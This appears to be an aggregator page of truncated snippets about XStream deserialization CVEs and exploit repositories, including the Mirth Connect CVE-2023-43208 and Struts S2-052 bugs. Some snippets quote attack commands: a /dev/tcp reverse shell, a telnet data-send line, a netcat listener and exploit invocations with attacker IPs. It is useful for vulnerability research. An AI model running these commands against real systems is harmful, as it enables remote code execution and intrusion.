XStream <1.4.16 - Remote Code Execution

XStream before 1.4.16 is susceptible to remote code execution. An attacker can load and execute arbitrary code from a remote host via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative...

CVE-2023-43208

CVE-2023-43208 — Mirth Connect 预认证远程代码执行 在 NextGen Healthcare Mirth Connect CVSS 9.8（严重） — CVE-2023-37679 的补丁绕过 概述 Mirth Connect 在 /api/users 端点上使用 Java XStream 库反序列化 XML 负载，无需身份验证 。原始修复（CVE-2023-37679）引入了一个危险类黑名单，但通过使用 Apache Commons Lang3 中的 EventBindingInvocationHandler 结合 Commons Collections4...

Xstream_cve-2022-41966

Xstreamcve-2022-41966 cve-2022-41966调试代码...

xstream-CVE-2020-26217

xstream-CVE-2020-26217...

xstream-CVE-2020-26258

xstream-CVE-2020-26258...

xstream-CVE-2020-26259

xstream-CVE-2020-26259...

CVE-2020-26217

描述 XStream 可用于远程代码执行 影响版本 Xstream com.thoughtworks.xstream xstream 1.4.13 如何使用 0 text/plain 0 -1 1 cmd /c ca...

-CVE-2017-9805

漏洞信息 资源： https://vulners.com/cve/CVE-2017-9805 这是什么？ 一个Python利用脚本，能够在运行易受S2-052攻击的Struts2系统的shell中执行远程命令。 用法 ╭─root@blackshell / ╰─ python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" Apache Struts XStream REST vulnerability - S2-052 Creati...

XStream-1

master: v-1.4.x: XStream Serialización de Java a XML, y viceversa Binarios Todos los artefactos binarios están empaquetados en el archivo -bin. Incluye los jars de XStream y cualquier otra biblioteca utilizada en tiempo de compilación, o extras opcionales en tiempo de ejecución. Se recomienda el...

xstream-CVE-2021-29505

xstream-CVE-2021-29505...

CVE-2020-26217-XStream

CVE-2020-26217 XStream RCE Exploit XStream 远程代码执行漏洞利用工具。 漏洞描述 CVE-2020-26217 是 XStream 库中的一个反序列化漏洞，攻击者可以通过构造恶意的 XML 数据触发远程代码执行。 影响版本：XStream 示例 运行工具 go run poc.go http://target.com:8080/?data 进入交互模式后输入命令 cmd whoami cmd cat /flag cmd bash -i & /dev/tcp/192.168.1.100/4444 0&1 cmd exit 功能特点 交互式命令执行...

Mirth-Connect-CVE-2023-43208

CVE-2023-43208: Ejecución Remota de Código RCE no autenticada en NextGen Mirth Connect Este exploit aprovecha una vulnerabilidad crítica de deserialización dentro del motor XStream de Mirth Connect. Se origina de un parche incompleto para CVE-2023-37679, lo que permite la ejecución arbitraria de...

CVE-2023-43208-PoC

Mirth Connect RCE 利用工具 CVE-2023-43208 此脚本是针对 Mirth Connect （4.4.1 之前版本）中远程代码执行（RCE）漏洞的概念验证（PoC）。它通过 API 利用 XStream 反序列化漏洞。 要求 Python 3.10 或更高版本（兼容 3.13）。 与目标的网络连接。 工具使用 python3 CVE-2023-43208.py -u https://IP-victima -lh IP-atacante -lp puerto 安装 建议使用虚拟环境： python3 -m venv venv source...

struts-s2-052-deserialization-rce-lab

Apache Struts S2-052 RCE por Deserialización de XML Este repositorio demuestra la explotación de Apache Struts S2-052 CVE-2017-9805 mediante deserialización maliciosa de XML. El exploit fue desarrollado mientras se resolvía el laboratorio INE eWPTX Practice Range – Struts XML Deserialization RCE...

x-stream__xstream_CVE-2013-7285_1-4-6

XStream "Serialización Java a XML, y viceversa" -- Binarios ----------------------------------------------- Todos los artefactos binarios están en el directorio 'lib'. Estos incluyen los jars de xstream y cualquier otra biblioteca utilizada en tiempo de compilación, o extras opcionales en tiempo...

CVE-2020-26259

描述 XStream 在反序列化时容易受到本地主机上的任意文件删除攻击，只要执行进程具有足够的权限。 影响范围 Xstream \n" + " \n" + " \n" + " 0\n" + " \n" + " \n" + " \n" + " text/plain\n" + " \n" + " C:\Al1ex.txt\n" + " \n" + " \n" + " \n" + " \n" + " 0\n" + " \n" + " \n"...

CVE-2023-43208

Mirth Connect RCE - CVE-2023-43208 描述 适用于 Mirth Connect 远程代码执行 RCE 的 PoC 影响 Mirth Connect 示例 启动监听器 nc -lvnp 4444 运行漏洞利用程序 ./exploit https://target.com 10.10.10.10 4444 参考链接 https://nvd.nist.gov/vuln/detail/CVE-2023-43208 https://github.com/advisories/GHSA-pj5c-qr29-6746...

XStream <1.4.14 - Remote Code Execution

XStream before 1.4.14 is susceptible to remote code execution. An attacker can run arbitrary shell commands by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of...

XStream 1.4.18 - Remote Code Execution

XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the...

Astra Linux – Vulnerability in libxstream-java

XStream serializes Java objects to XML and back again. Versions prior to 1.4.20 may allow a remote attacker to terminate the application with a stack overflow error, resulting in a denial of service by manipulating the input stream. The attack exploits the hash code implementation used for...